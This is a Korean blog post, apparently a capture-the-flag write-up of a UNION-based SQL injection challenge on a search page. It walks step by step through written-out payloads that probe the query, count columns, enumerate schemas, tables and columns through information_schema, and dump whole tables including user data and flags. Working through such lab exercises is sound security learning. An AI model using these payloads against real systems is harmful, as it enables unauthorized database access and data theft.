※ CTF - Capture The Flag
※ 문제 푸는 방법이 다양할 수도 있습니다.
→ 자바스크립트에는 특별한 것이 없었다.
→ 쿠키에 ID를 담고 있긴 했지만 null값이 들어가 있었다.
→ 역할은 잘 모르겠으나 별 의미 없는 쿠키인 것 같고,
→ CTF 제목과 같이 SQL Injection을 하라는 것 같아서 SQLi로 진행해 보았다.
→ 검색 및 데이터를 띄워주는 창으로 구성되어 있다.
→ a를 검색하면 Adminer, mario, normaltic 3개가 나왔다.
→ SQL 구문이 id like '%입력문자%' 이렇게 구성되어 있는 것 같다.
→ SELECT * FROM table이름 WHERE ID LIKE '%입력문자%'라고 가정하고 SQL Injection이 되는지 테스트해본다.
→ a%'#을 입력하니 a를 입력한 것 과 결과가 같았다.
→ r'#을 입력하니 Adminer가 나왔다.
→ 예상한 쿼리와 결과가 일치했다.
→ SQL i가 가능하고, 출력되는 라인이 4개라서 UNION으로 보여주는 만큼 4개 컬럼으로 쿼리를 실행하는지 체크해 본다.
→ %' UNION SELECT 1,2,3,4 #을 입력 후 결과 아래와 같이 결과가 출력된다.
→ UNION이 사용가능하므로 데이터베이스 전체를 털면 되기 때문에 어렵지 않게 해결이 될 것 같다.
→ Segfault CTF - (5주 차) Login Bypass 3 [바로가기]에서 사용했던 방법들을 그대로 써본다.
Segfault CTF - (5주 차) Login Bypass 3
※ CTF - Capture The Flag※ 문제 푸는 방법이 다양할 수도 있습니다.SegFault CTF - Login Bypass 3 1. 주어진 정보 : 계정 하나 (ID / PW : doldol / dol1234), 목표는 normaltic3 계정으로 로그인 하기.→ 이 문제는 쉽
freestyle.tistory.com
▶데이터베이스 명 확인
→ ' UNION SELECT schema_name,2,3,4 FROM information_schema.schemata #을 입력하여 데이터베이스 목록을 확인한다.
→ SQL구문을 보면, DB목록이라기보다는 정확히는 스키마 목록인 듯하다.
→ 알아보니 MySQL에서는 스키마와 데이터베이스가 거의 같은 개념으로 사용된다고 한다.
→ 물론, 현재 DB만 알고 싶으면 DATABASE()를 써도 된다. ☞ ' UNION SELECT DATABASE(),2,3,4#
→ infomation_schema는 시스템에서 자동으로 만들어지는 스키마이고, sqli_1를 좀 더 파보자.
▶테이블 명 확인
→ 테이블 명을 확인해 본다.
→ 999' UNION SELECT 'sqli_1',table_name,3,4 FROM information_schema.tables WHERE table_schema = 'sqli_1'#을 입력하면 테이블 명이 나올 것이다.
▶컬럼 명 확인
→ 이제, 속성(컬럼) 명을 알아보자.
→ 알아낸 정보를 바탕으로, 깔끔하게 표시하기 위해 아래 구문을 만들어서 입력해 준다.
999'
UNION SELECT 'sqli_1','flag_taable',COLUMN_NAME,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_1' AND TABLE_NAME = 'flag_table'
UNION SELECT 'sqli_1','plusFlag_Table',COLUMN_NAME,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_1' AND TABLE_NAME = 'plusFlag_Table'
UNION SELECT 'sqli_1','user_info',COLUMN_NAME,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_1' AND TABLE_NAME = 'user_info'#
을 입력한다.
▶레코드 값 확인
→ 이제 실질적인 값을 알아보자
999'
UNION SELECT 'sqli_1', 'flag_taable','flag',flag FROM flag_table
UNION SELECT 'sqli_1', 'plusFlag_Table','idx',idx FROM plusFlag_Table
UNION SELECT 'sqli_1', 'plusFlag_Table','flag',flag FROM plusFlag_Table
UNION SELECT 'sqli_1', 'user_info','id',id FROM user_info
UNION SELECT 'sqli_1', 'user_info','level',level FROM user_info
UNION SELECT 'sqli_1', 'user_info','rank_point',rank_point FROM user_info
UNION SELECT 'sqli_1', 'user_info','rate',rate FROM user_info #
을 입력해 본다.
→ sqli_1 DB의 모든 데이터를 한 표에 표시했다.
→ user_info 테이블에서는 비밀데이터가 없었다.
→ 플래그로 보이는 데이터 2개가 나왔다.
→ 의미가 맞는 플래그를 넣어본다. 성공!
Segfault CTF - (7주 차) SQL Injection (Error Based SQLi Basic) (0) | 2024.06.05 |
---|---|
Segfault CTF - (6주 차) SQL Injection 2 (0) | 2024.05.27 |
Segfault CTF - (5주 차) Secret Login (0) | 2024.05.21 |
Segfault CTF - (5주 차) Login Bypass 5 (0) | 2024.05.21 |
Segfault CTF - (5주 차) Login Bypass 4 (0) | 2024.05.21 |